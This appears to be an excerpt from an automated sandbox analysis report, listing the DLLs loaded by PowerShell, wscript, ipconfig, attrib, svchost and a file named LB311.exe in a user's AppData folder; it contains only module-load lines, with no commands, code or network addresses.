                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: windowscodecs.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mlang.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasapi32.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasman.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rtutils.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mswsock.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: winhttp.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc6.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dnsapi.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: winnsi.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasadhlp.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: fwpuclnt.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: schannel.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mskeyprotect.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntasn1.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncrypt.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncryptsslp.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: sxs.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mshtml.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: powrprof.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wkscli.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: umpdc.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: srpapi.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msiso.dllJump to behavior
                      Source: C:\Windows\SysWOW64\ipconfig.exeSection loaded: iphlpapi.dllJump to behavior
                      Source: C:\Windows\SysWOW64\ipconfig.exeSection loaded: dhcpcsvc.dllJump to behavior
                      Source: C:\Windows\SysWOW64\ipconfig.exeSection loaded: dhcpcsvc6.dllJump to behavior
                      Source: C:\Windows\SysWOW64\ipconfig.exeSection loaded: dnsapi.dllJump to behavior
                      Source: C:\Windows\SysWOW64\ipconfig.exeSection loaded: iphlpapi.dllJump to behavior
                      Source: C:\Windows\SysWOW64\ipconfig.exeSection loaded: dhcpcsvc.dllJump to behavior
                      Source: C:\Windows\SysWOW64\ipconfig.exeSection loaded: dhcpcsvc6.dllJump to behavior
                      Source: C:\Windows\SysWOW64\ipconfig.exeSection loaded: dnsapi.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dllJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dllJump to behavior
                      Source: C:\Windows\SysWOW64\attrib.exeSection loaded: ulib.dllJump to behavior
                      Source: C:\Windows\SysWOW64\attrib.exeSection loaded: fsutilext.dllJump to behavior
                      Source: C:\Windows\SysWOW64\ipconfig.exeSection loaded: iphlpapi.dllJump to behavior
                      Source: C:\Windows\SysWOW64\ipconfig.exeSection loaded: dhcpcsvc.dllJump to behavior
                      Source: C:\Windows\SysWOW64\ipconfig.exeSection loaded: dhcpcsvc6.dllJump to behavior
                      Source: C:\Windows\SysWOW64\ipconfig.exeSection loaded: dnsapi.dllJump to behavior
                      Source: C:\Windows\System32\wscript.exeSection loaded: version.dll
                      Source: C:\Windows\System32\wscript.exeSection loaded: kernel.appcore.dll
                      Source: C:\Windows\System32\wscript.exeSection loaded: uxtheme.dll
                      Source: C:\Windows\System32\wscript.exeSection loaded: sxs.dll
                      Source: C:\Windows\System32\wscript.exeSection loaded: vbscript.dll
                      Source: C:\Windows\System32\wscript.exeSection loaded: amsi.dll
                      Source: C:\Windows\System32\wscript.exeSection loaded: userenv.dll
                      Source: C:\Windows\System32\wscript.exeSection loaded: profapi.dll
                      Source: C:\Windows\System32\wscript.exeSection loaded: wldp.dll
                      Source: C:\Windows\System32\wscript.exeSection loaded: msasn1.dll
                      Source: C:\Windows\System32\wscript.exeSection loaded: cryptsp.dll
                      Source: C:\Windows\System32\wscript.exeSection loaded: rsaenh.dll
                      Source: C:\Windows\System32\wscript.exeSection loaded: cryptbase.dll
                      Source: C:\Windows\System32\wscript.exeSection loaded: msisip.dll
                      Source: C:\Windows\System32\wscript.exeSection loaded: wshext.dll
                      Source: C:\Windows\System32\wscript.exeSection loaded: appxsip.dll
                      Source: C:\Windows\System32\wscript.exeSection loaded: opcservices.dll
                      Source: C:\Windows\System32\wscript.exeSection loaded: esdsip.dll
                      Source: C:\Windows\System32\wscript.exeSection loaded: mpr.dll
                      Source: C:\Windows\System32\wscript.exeSection loaded: scrrun.dll
                      Source: C:\Windows\System32\wscript.exeSection loaded: windows.storage.dll
                      Source: C:\Windows\System32\wscript.exeSection loaded: propsys.dll
                      Source: C:\Windows\System32\wscript.exeSection loaded: edputil.dll
                      Source: C:\Windows\System32\wscript.exeSection loaded: urlmon.dll
                      Source: C:\Windows\System32\wscript.exeSection loaded: iertutil.dll
                      Source: C:\Windows\System32\wscript.exeSection loaded: srvcli.dll
                      Source: C:\Windows\System32\wscript.exeSection loaded: netutils.dll
                      Source: C:\Windows\System32\wscript.exeSection loaded: windows.staterepositoryps.dll
                      Source: C:\Windows\System32\wscript.exeSection loaded: sspicli.dll
                      Source: C:\Windows\System32\wscript.exeSection loaded: wintypes.dll
                      Source: C:\Windows\System32\wscript.exeSection loaded: appresolver.dll
                      Source: C:\Windows\System32\wscript.exeSection loaded: bcp47langs.dll
                      Source: C:\Windows\System32\wscript.exeSection loaded: slc.dll
                      Source: C:\Windows\System32\wscript.exeSection loaded: sppc.dll
                      Source: C:\Windows\System32\wscript.exeSection loaded: onecorecommonproxystub.dll
                      Source: C:\Windows\System32\wscript.exeSection loaded: onecoreuapcommonproxystub.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasapi32.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasman.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rtutils.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mswsock.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winhttp.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ondemandconnroutehelper.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc6.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dnsapi.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: edputil.dll
                      Source: C:\Windows\System32\ipconfig.exeSection loaded: iphlpapi.dll
                      Source: C:\Windows\System32\ipconfig.exeSection loaded: dhcpcsvc.dll
                      Source: C:\Windows\System32\ipconfig.exeSection loaded: dhcpcsvc6.dll
                      Source: C:\Windows\System32\ipconfig.exeSection loaded: dnsapi.dll
                      Source: C:\Users\user\AppData\Roaming\LB311.exeSection loaded: apphelp.dll
                      Source: C:\Users\user\AppData\Roaming\LB311.exeSection loaded: winmm.dll
                      Source: C:\Windows\System32\svchost.exeSection loaded: kernel.appcore.dll
                      Source: C:\Windows\System32\svchost.exeSection loaded: qmgr.dll
                      Source: C:\Windows\System32\svchost.exeSection loaded: bitsperf.dll
                      Source: C:\Windows\System32\svchost.exeSection loaded: powrprof.dll
                      Source: C:\Windows\System32\svchost.exeSection loaded: xmllite.dll
                      Source: C:\Windows\System32\svchost.exeSection loaded: firewallapi.dll
                      Source: C:\Windows\System32\svchost.exeSection loaded: esent.dll
                      Source: C:\Windows\System32\svchost.exeSection loaded: umpdc.dll
                      Source: C:\Windows\System32\svchost.exeSection loaded: dnsapi.dll
                      Source: C:\Windows\System32\svchost.exeSection loaded: iphlpapi.dll
                      Source: C:\Windows\System32\svchost.exeSection loaded: fwbase.dll
                      Source: C:\Windows\System32\svchost.exeSection loaded: wldp.dll
                      Source: C:\Windows\System32\svchost.exeSection loaded: ntmarta.dll
                      Source: C:\Windows\System32\svchost.exeSection loaded: profapi.dll
                      Source: C:\Windows\System32\svchost.exeSection loaded: flightsettings.dll
                      Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
                      Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
                      Source: C:\Windows\System32\svchost.exeSection loaded: netprofm.dll
                      Source: C:\Windows\System32\svchost.exeSection loaded: npmproxy.dll
                      Source: C:\Windows\System32\svchost.exeSection loaded: bitsigd.dll
                      Source: C:\Windows\System32\svchost.exeSection loaded: upnp.dll
                      Source: C:\Windows\System32\svchost.exeSection loaded: winhttp.dll
                      Source: C:\Windows\System32\svchost.exeSection loaded: ssdpapi.dll
                      Source: C:\Windows\System32\svchost.exeSection loaded: urlmon.dll
                      Source: C:\Windows\System32\svchost.exeSection loaded: iertutil.dll
                      Source: C:\Windows\System32\svchost.exeSection loaded: srvcli.dll
                      Source: C:\Windows\System32\svchost.exeSection loaded: netutils.dll
                      Source: C:\Windows\System32\svchost.exeSection loaded: appxdeploymentclient.dll
                      Source: C:\Windows\System32\svchost.exeSection loaded: cryptbase.dll
                      Source: C:\Windows\System32\svchost.exeSection loaded: wsmauto.dll
                      Source: C:\Windows\System32\svchost.exeSection loaded: miutils.dll
                      Source: C:\Windows\System32\svchost.exeSection loaded: wsmsvc.dll
                      Source: C:\Windows\System32\svchost.exeSection loaded: dsrole.dll
                      Source: C:\Windows\System32\svchost.exeSection loaded: pcwum.dll
                      Source: C:\Windows\System32\svchost.exeSection loaded: mi.dll
                      Source: C:\Windows\System32\svchost.exeSection loaded: userenv.dll
                      Source: C:\Windows\System32\svchost.exeSection loaded: gpapi.dll
                      Source: C:\Windows\System32\svchost.exeSection loaded: winhttp.dll
                      Source: C:\Windows\System32\svchost.exeSection loaded: wkscli.dll
                      Source: C:\Windows\System32\svchost.exeSection loaded: netutils.dll
                      Source: C:\Windows\System32\svchost.exeSection loaded: sspicli.dll
                      Source: C:\Windows\System32\svchost.exeSection loaded: ondemandconnroutehelper.dll
                      Source: C:\Windows\System32\svchost.exeSection loaded: msv1_0.dll
                      Source: C:\Windows\System32\svchost.exeSection loaded: ntlmshared.dll
                      Source: C:\Windows\System32\svchost.exeSection loaded: cryptdll.dll
                      Source: C:\Windows\System32\svchost.exeSection loaded: webio.dll
                      Source: C:\Windows\System32\svchost.exeSection loaded: mswsock.dll
                      Source: C:\Windows\System32\svchost.exeSection loaded: winnsi.dll
                      Source: C:\Windows\System32\svchost.exeSection loaded: fwpuclnt.dll
                      Source: C:\Windows\System32\svchost.exeSection loaded: rasadhlp.dll
                      Source: C:\Windows\System32\svchost.exeSection loaded: rmclient.dll
                      Source: C:\Windows\System32\svchost.exeSection loaded: usermgrcli.dll
                      Source: C:\Windows\System32\svchost.exeSection loaded: execmodelclient.dll
                      Source: C:\Windows\System32\svchost.exeSection loaded: propsys.dll
                      Source: C:\Windows\System32\svchost.exeSection loaded: coremessaging.dll
                      Source: C:\Windows\System32\svchost.exeSection loaded: twinapi.appcore.dll
                      Source: C:\Windows\System32\svchost.exeSection loaded: onecorecommonproxystub.dll
                      Source: C:\Windows\System32\svchost.exeSection loaded: execmodelproxy.dll
                      Source: C:\Windows\System32\svchost.exeSection loaded: resourcepolicyclient.dll
                      Source: C:\Windows\System32\svchost.exeSection loaded: vssapi.dll
                      Source: C:\Windows\System32\svchost.exeSection loaded: vsstrace.dll
                      Source: C:\Windows\System32\svchost.exeSection loaded: samcli.dll
                      Source: C:\Windows\System32\svchost.exeSection loaded: samlib.dll
                      Source: C:\Windows\System32\svchost.exeSection loaded: es.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dll
                      Source: C:\Windows\System32\wscript.exeSection loaded: version.dll
                      Source: C:\Windows\System32\wscript.exeSection loaded: kernel.appcore.dll
                      Source: C:\Windows\System32\wscript.exeSection loaded: uxtheme.dll
                      Source: C:\Windows\System32\wscript.exeSection loaded: sxs.dll
                      Source: C:\Windows\System32\wscript.exeSection loaded: vbscript.dll
                      Source: C:\Windows\System32\wscript.exeSection loaded: amsi.dll
                      Source: C:\Windows\System32\wscript.exeSection loaded: userenv.dll
                      Source: C:\Windows\System32\wscript.exeSection loaded: profapi.dll
                      Source: C:\Windows\System32\wscript.exeSection loaded: wldp.dll
                      Source: C:\Windows\System32\wscript.exeSection loaded: msasn1.dll
                      Source: C:\Windows\System32\wscript.exeSection loaded: cryptsp.dll
                      Source: C:\Windows\System32\wscript.exeSection loaded: rsaenh.dll
                      Source: C:\Windows\System32\wscript.exeSection loaded: cryptbase.dll
                      Source: C:\Windows\System32\wscript.exeSection loaded: msisip.dll
                      Source: C:\Windows\System32\wscript.exeSection loaded: wshext.dll
                      Source: C:\Windows\System32\wscript.exeSection loaded: appxsip.dll
                      Source: C:\Windows\System32\wscript.exeSection loaded: opcservices.dll
                      Source: C:\Windows\System32\wscript.exeSection loaded: esdsip.dll
                      Source: C:\Windows\System32\wscript.exeSection loaded: mpr.dll
                      Source: C:\Windows\System32\wscript.exeSection loaded: scrrun.dll
                      Source: C:\Windows\System32\wscript.exeSection loaded: windows.storage.dll
                      Source: C:\Windows\System32\wscript.exeSection loaded: propsys.dll
                      Source: C:\Windows\System32\wscript.exeSection loaded: edputil.dll
                      Source: C:\Windows\System32\wscript.exeSection loaded: urlmon.dll
                      Source: C:\Windows\System32\wscript.exeSection loaded: iertutil.dll
                      Source: C:\Windows\System32\wscript.exeSection loaded: srvcli.dll
                      Source: C:\Windows\System32\wscript.exeSection loaded: netutils.dll
                      Source: C:\Windows\System32\wscript.exeSection loaded: windows.staterepositoryps.dll
                      Source: C:\Windows\System32\wscript.exeSection loaded: sspicli.dll
                      Source: C:\Windows\System32\wscript.exeSection loaded: wintypes.dll
                      Source: C:\Windows\System32\wscript.exeSection loaded: appresolver.dll
                      Source: C:\Windows\System32\wscript.exeSection loaded: bcp47langs.dll
                      Source: C:\Windows\System32\wscript.exeSection loaded: slc.dll
                      Source: C:\Windows\System32\wscript.exeSection loaded: sppc.dll
                      Source: C:\Windows\System32\wscript.exeSection loaded: onecorecommonproxystub.dll
                      Source: C:\Windows\System32\wscript.exeSection loaded: onecoreuapcommonproxystub.dll
